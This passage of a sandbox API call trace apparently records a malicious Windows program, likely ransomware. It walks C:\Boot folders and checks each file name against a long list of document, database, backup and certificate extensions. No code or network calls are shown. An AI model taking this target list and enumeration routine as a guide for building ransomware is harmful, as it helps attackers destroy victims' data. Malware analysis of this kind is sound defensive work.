[0041.587] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".jpc") returned 4 [0041.587] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".jpe") returned 4 [0041.587] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".jpeg") returned 5 [0041.587] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0041.587] lstrlenW (lpString=".jpf") returned 4 [0041.587] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".jpg") returned 4 [0041.587] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".jpx") returned 4 [0041.587] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".js") returned 3 [0041.587] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0041.587] lstrlenW (lpString=".jsf") returned 4 [0041.587] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".json") returned 5 [0041.587] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0041.587] lstrlenW (lpString=".jsp") returned 4 [0041.587] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".kdc") returned 4 [0041.587] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0041.587] lstrlenW (lpString=".kmz") returned 4 [0041.587] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".kwm") returned 4 [0041.588] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".lasso") returned 6 [0041.588] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0041.588] lstrlenW (lpString=".lbi") returned 4 [0041.588] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".lgf") returned 4 [0041.588] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".lgp") returned 4 [0041.588] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".log") returned 4 [0041.588] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".m1v") returned 4 [0041.588] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".m4a") returned 4 [0041.588] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".m4v") returned 4 [0041.588] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".max") returned 4 [0041.588] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".md") returned 3 [0041.588] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0041.588] lstrlenW (lpString=".mda") returned 4 [0041.588] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".mdb") returned 4 [0041.588] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0041.588] lstrlenW (lpString=".mde") returned 4 [0041.588] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mdf") returned 4 [0041.589] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mdw") returned 4 [0041.589] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mef") returned 4 [0041.589] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mft") returned 4 [0041.589] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mfw") returned 4 [0041.589] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mht") returned 4 [0041.589] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mhtml") returned 6 [0041.589] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0041.589] lstrlenW (lpString=".mka") returned 4 [0041.589] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mkidx") returned 6 [0041.589] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0041.589] lstrlenW (lpString=".mkv") returned 4 [0041.589] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mos") returned 4 [0041.589] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mov") returned 4 [0041.589] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mp3") returned 4 [0041.589] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mp4") returned 4 [0041.589] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0041.589] lstrlenW (lpString=".mpeg") returned 5 [0041.589] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0041.590] lstrlenW (lpString=".mpg") returned 4 [0041.590] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0041.590] lstrlenW (lpString=".mpv") returned 4 [0041.590] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0041.590] lstrlenW (lpString=".mrw") returned 4 [0041.590] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0041.590] lstrlenW (lpString=".msg") returned 4 [0041.590] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0041.590] lstrlenW (lpString=".mxl") returned 4 [0041.590] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".myd") returned 4 [0041.590] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".myi") returned 4 [0041.590] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".nef") returned 4 [0041.590] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".nrw") returned 4 [0041.590] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".obj") returned 4 [0041.590] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".odb") returned 4 [0041.590] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".odc") returned 4 [0041.590] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".odm") returned 4 [0041.590] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".odp") returned 4 [0041.590] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".ods") returned 4 [0041.590] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".oft") returned 4 [0041.590] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0041.590] lstrlenW (lpString=".one") returned 4 [0041.590] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".onepkg") returned 7 [0041.591] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0041.591] lstrlenW (lpString=".onetoc2") returned 8 [0041.591] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0041.591] lstrlenW (lpString=".opt") returned 4 [0041.591] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".oqy") returned 4 [0041.591] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".orf") returned 4 [0041.591] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".p12") returned 4 [0041.591] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".p7b") returned 4 [0041.591] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".p7c") returned 4 [0041.591] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pam") returned 4 [0041.591] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pbm") returned 4 [0041.591] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pct") returned 4 [0041.591] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pcx") returned 4 [0041.591] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pdd") returned 4 [0041.591] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pdf") returned 4 [0041.591] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pdp") returned 4 [0041.591] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pef") returned 4 [0041.591] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0041.591] lstrlenW (lpString=".pem") returned 4 [0041.591] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".pff") returned 4 [0041.592] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".pfm") returned 4 [0041.592] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".pfx") returned 4 [0041.592] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".pgm") returned 4 [0041.592] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".php") returned 4 [0041.592] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".php3") returned 5 [0041.592] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0041.592] lstrlenW (lpString=".php4") returned 5 [0041.592] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0041.592] lstrlenW (lpString=".php5") returned 5 [0041.592] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0041.592] lstrlenW (lpString=".phtml") returned 6 [0041.592] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0041.592] lstrlenW (lpString=".pict") returned 5 [0041.592] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0041.592] lstrlenW (lpString=".pl") returned 3 [0041.592] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0041.592] lstrlenW (lpString=".pls") returned 4 [0041.592] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".pm") returned 3 [0041.592] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0041.592] lstrlenW (lpString=".png") returned 4 [0041.592] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".pnm") returned 4 [0041.592] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".pot") returned 4 [0041.592] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0041.592] lstrlenW (lpString=".potm") returned 5 [0041.592] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0041.593] lstrlenW (lpString=".potx") returned 5 [0041.593] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0041.593] lstrlenW (lpString=".ppa") returned 4 [0041.593] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".ppam") returned 5 [0041.593] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0041.593] lstrlenW (lpString=".ppm") returned 4 [0041.593] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".pps") returned 4 [0041.593] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".ppsm") returned 5 [0041.593] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0041.593] lstrlenW (lpString=".ppt") returned 4 [0041.593] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".pptm") returned 5 [0041.593] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0041.593] lstrlenW (lpString=".pptx") returned 5 [0041.593] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0041.593] lstrlenW (lpString=".prn") returned 4 [0041.593] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".ps") returned 3 [0041.593] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0041.593] lstrlenW (lpString=".psb") returned 4 [0041.593] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".psd") returned 4 [0041.593] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".pst") returned 4 [0041.593] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".ptx") returned 4 [0041.593] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".pub") returned 4 [0041.593] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0041.593] lstrlenW (lpString=".pwm") returned 4 [0041.593] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0041.594] lstrlenW (lpString=".pxr") returned 4 [0041.594] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0041.594] lstrlenW (lpString=".py") returned 3 [0041.594] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0041.594] lstrlenW (lpString=".qt") returned 3 [0041.594] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0041.594] lstrlenW (lpString=".r3d") returned 4 [0041.594] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0041.594] lstrlenW (lpString=".raf") returned 4 [0041.594] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0041.594] lstrlenW (lpString=".rar") returned 4 [0041.594] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.594] lstrlenW (lpString=".raw") returned 4 [0041.594] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0041.594] lstrlenW (lpString=".rdf") returned 4 [0041.594] lstrcmpiW (lpString1=".rdf", lpString2=".mui") returned 1 [0041.594] lstrlenW (lpString=".rgbe") returned 5 [0041.594] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0041.594] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0041.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0041.594] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0041.595] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0041.595] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0041.595] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.595] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.595] FindClose (in: hFindFile=0x602da0 | out: hFindFile=0x602da0) returned 1 [0041.596] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0041.596] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0041.596] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0041.596] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602da0 [0041.623] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.623] FindNextFileW (in: hFindFile=0x602da0, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.714] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.714] lstrlenW (lpString=".1cd") returned 4 [0041.714] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.715] lstrlenW (lpString=".3ds") returned 4 [0041.715] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0041.715] lstrlenW (lpString=".3fr") returned 4 [0041.715] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0041.715] lstrlenW (lpString=".3g2") returned 4 [0041.715] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0041.715] lstrlenW (lpString=".3gp") returned 4 [0041.715] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0041.715] lstrlenW (lpString=".7z") returned 3 [0041.715] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.715] lstrlenW (lpString=".accda") returned 6 [0041.715] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0041.715] lstrlenW (lpString=".accdb") returned 6 [0041.715] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0041.715] lstrlenW (lpString=".accdc") returned 6 [0041.715] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0041.715] lstrlenW (lpString=".accde") returned 6 [0041.715] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0041.715] lstrlenW (lpString=".accdt") returned 6 [0041.715] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0041.715] lstrlenW (lpString=".accdw") returned 6 [0041.715] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0041.715] lstrlenW (lpString=".adb") returned 4 [0041.715] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0041.715] lstrlenW (lpString=".adp") returned 4 [0041.715] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0041.715] lstrlenW (lpString=".ai") returned 3 [0041.715] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0041.716] lstrlenW (lpString=".ai3") returned 4 [0041.716] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".ai4") returned 4 [0041.716] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".ai5") returned 4 [0041.716] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".ai6") returned 4 [0041.716] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".ai7") returned 4 [0041.716] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".ai8") returned 4 [0041.716] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".anim") returned 5 [0041.716] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0041.716] lstrlenW (lpString=".arw") returned 4 [0041.716] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".as") returned 3 [0041.716] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0041.716] lstrlenW (lpString=".asa") returned 4 [0041.716] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".asc") returned 4 [0041.716] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".ascx") returned 5 [0041.716] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0041.716] lstrlenW (lpString=".asm") returned 4 [0041.716] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0041.716] lstrlenW (lpString=".asmx") returned 5 [0041.717] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0041.717] lstrlenW (lpString=".asp") returned 4 [0041.717] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".aspx") returned 5 [0041.717] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0041.717] lstrlenW (lpString=".asr") returned 4 [0041.717] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".asx") returned 4 [0041.717] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".avi") returned 4 [0041.717] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".avs") returned 4 [0041.717] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".backup") returned 7 [0041.717] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0041.717] lstrlenW (lpString=".bak") returned 4 [0041.717] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".bay") returned 4 [0041.717] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".bd") returned 3 [0041.717] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0041.717] lstrlenW (lpString=".bin") returned 4 [0041.717] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".bmp") returned 4 [0041.717] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0041.717] lstrlenW (lpString=".bz2") returned 4 [0041.717] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".c") returned 2 [0041.718] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0041.718] lstrlenW (lpString=".cdr") returned 4 [0041.718] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".cer") returned 4 [0041.718] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".cf") returned 3 [0041.718] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0041.718] lstrlenW (lpString=".cfc") returned 4 [0041.718] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".cfm") returned 4 [0041.718] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".cfml") returned 5 [0041.718] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0041.718] lstrlenW (lpString=".cfu") returned 4 [0041.718] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".chm") returned 4 [0041.718] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".cin") returned 4 [0041.718] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".class") returned 6 [0041.718] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0041.718] lstrlenW (lpString=".clx") returned 4 [0041.718] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".config") returned 7 [0041.718] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0041.718] lstrlenW (lpString=".cpp") returned 4 [0041.718] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0041.718] lstrlenW (lpString=".cr2") returned 4 [0041.719] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".crt") returned 4 [0041.719] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".crw") returned 4 [0041.719] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".cs") returned 3 [0041.719] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0041.719] lstrlenW (lpString=".css") returned 4 [0041.719] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".csv") returned 4 [0041.719] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".cub") returned 4 [0041.719] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0041.719] lstrlenW (lpString=".dae") returned 4 [0041.719] 